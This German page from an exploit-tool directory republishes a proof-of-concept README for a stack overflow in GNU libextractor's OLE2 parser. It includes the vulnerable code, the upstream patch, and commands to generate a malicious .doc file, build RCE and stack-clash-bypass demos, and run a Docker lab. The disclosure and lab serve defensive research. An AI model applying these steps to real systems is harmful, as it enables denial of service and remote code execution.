Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
libextractor-ole2-rce — PoC für einen kritischen stackbasierten Pufferüberlauf in GNU libextractor ≤ 1.14. Eine bösartige .doc-Datei löst eine unbegrenzte VLA-Allokation aus, die einen bedingungslosen DoS verursacht. In Multithread-Umgebungen umgeht sie die Stack-Clash-Schutzmechanismen für vollständige RCE. | Kitploit
Tools/GitHubGitHub/haitam-lazaar/libextractor-ole2-rce
SpeicherforensikPayload-GenerierungSchwachstellenanalyseExploitationPenetrationstestsBinary-ExploitationLabs & Praxis
GitHubhaitam-lazaar/libextractor-ole2-rce

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

PoC für einen kritischen stackbasierten Pufferüberlauf in GNU libextractor ≤ 1.14. Eine bösartige .doc-Datei löst eine unbegrenzte VLA-Allokation aus, die einen bedingungslosen DoS verursacht. In Multithread-Umgebungen umgeht sie die Stack-Clash-Schutzmechanismen für vollständige RCE.

libextractor-ole2-rce

Repository anzeigen
7vor 3 TagenNoch nicht geprüft
Teilen

CVE-2026-91752: GNU libextractor Stack Overflow über OLE2

Zusammenfassung

Ein stackbasierter Pufferüberlauf im OLE2-Plugin von GNU libextractor ermöglicht Remote-Denial-of-Service (Absturz) und Codeausführung bei der Verarbeitung einer manipulierten .doc-Datei. Die Schwachstelle befindet sich in process_star_office() (ole2_extractor.c:349), das ein Variable Length Array von bis zu 4 MB auf dem Stack alloziert, basierend auf angreiferkontrollierten Dateidaten.

Primäre Auswirkung: Remote Denial of Service — bringt jede Anwendung zum Absturz, die die bösartige Datei verarbeitet
Sekundäre Auswirkung: Remote Code Execution über Umgehung von -fstack-clash-protection mittels benachbarter Thread-Stacks

FeldWert
CVECVE-2026-91752
ProduktGNU libextractor
Betroffene Versionen< 1.15 (alle Versionen bis einschließlich 1.14)
Behobene Version1.15
CVSS 4.08.7 HIGH (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
CVSS 3.17.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
SchweregradHIGH (DoS) / CRITICAL (RCE im mehrthreadigen In-Process-Modus)
CWECWE-789 (Memory Allocation with Excessive Size Value) / CWE-121 (Stack-based Buffer Overflow)
AngriffsvektorNetzwerk (jeder Dateiverarbeitungspfad)
Erforderliche BerechtigungenKeine
BenutzerinteraktionKeine
CNAVulnCheck
ForscherHaitam Lazaar

Hinweis: Modernes GCC (≥8) aktiviert standardmäßig -fstack-clash-protection, was bei Single-Threaded-Anwendungen den ausnutzbaren Überlauf in einen sicheren Absturz umwandelt. Diese Mitigation kann jedoch in Multi-Threaded-Anwendungen umgangen werden, bei denen Thread-Stacks im Speicher benachbart sind — die VLA-Probes gelingen in den Stack des benachbarten Threads, was vollständige Codeausführung selbst auf gehärteten Builds ermöglicht. Siehe docs/BYPASS.md für Details.

Betroffene Software

  • GNU libextractor ≤ 1.14 (alle Versionen mit OLE2-Plugin)
  • Jede Anwendung, die libextractor zur Verarbeitung nicht vertrauenswürdiger .doc-Dateien verwendet
  • GNUnet (File-Sharing-Indexer)

Schnelle Demo

root@kitploit:~
# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

Proof of Concept (Lab-Demo)

Remote Code Execution Demo

Die obige Animation demonstriert die automatisierte Laborumgebung, die im Verzeichnis lab-setup/ bereitgestellt wird. Durch einfaches Ausführen von docker compose up generiert ein Angreifer-Container automatisch die bösartige .doc-Nutzlast und lädt sie auf einen verwundbaren Document-Indexing-Webdienst hoch. Die libextractor-Parsing-Logik löst den VLA-Stack-Überlauf aus, wodurch der Angreifer stillschweigend beliebige Codeausführung erreichen kann. Wir verifizieren den Exploit, indem wir cat /tmp/pwned auf dem Zielcontainer ausführen, um die Befehlsausgabe zu sehen.

Repository-Struktur

root@kitploit:~
├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

Reproduktion

Absturz / DoS (funktioniert auf jedem System)

root@kitploit:~
# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

Codeausführung (Schutz deaktiviert)

root@kitploit:~
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

Codeausführung (Schutzumgehung, mehrthreadig)

root@kitploit:~
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

Docker-Labor

root@kitploit:~
docker-compose -f lab-setup/docker-compose.yml up -d

Ursache

root@kitploit:~
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

Ohne -fstack-clash-protection generiert der Compiler:

root@kitploit:~
sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

Mit -fstack-clash-protection können die Probes in mehrthreadigen Kontexten dennoch umgangen werden (siehe docs/BYPASS.md).

Offizieller Patch (libextractor 1.15)

root@kitploit:~
-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);

Referenzen

  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-91752
  • NVD-Eintrag: https://nvd.nist.gov/vuln/detail/cve-2026-91752
  • VulnCheck Advisory: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.15-stack-overflow-via-ole2
  • Upstream-Patch-Commits:
    • Commit 04004eb1
    • Commit 2781c7e9
  • Produkt: https://www.gnu.org/software/libextractor/

Danksagung

Entdeckt von mir (Haitam Lazaar) im Rahmen meiner unabhängigen Sicherheitsforschung.

Anerkennungen

Besonderer Dank gilt Christian Grothoff, dem Maintainer von GNU libextractor, für seine unglaublich schnelle Triage, professionelle Kommunikation und schnelle Bereitstellung von Patches (v1.15, v1.16 und v1.17) zur Behebung dieser und mehrerer anderer Speichersicherheitsprobleme, die während dieses Audits gemeldet wurden.

Lizenz

Meine Forschung wird zu Bildungs- und Verteidigungszwecken bereitgestellt. Verantwortungsvoll verwenden.

Tool herunterladen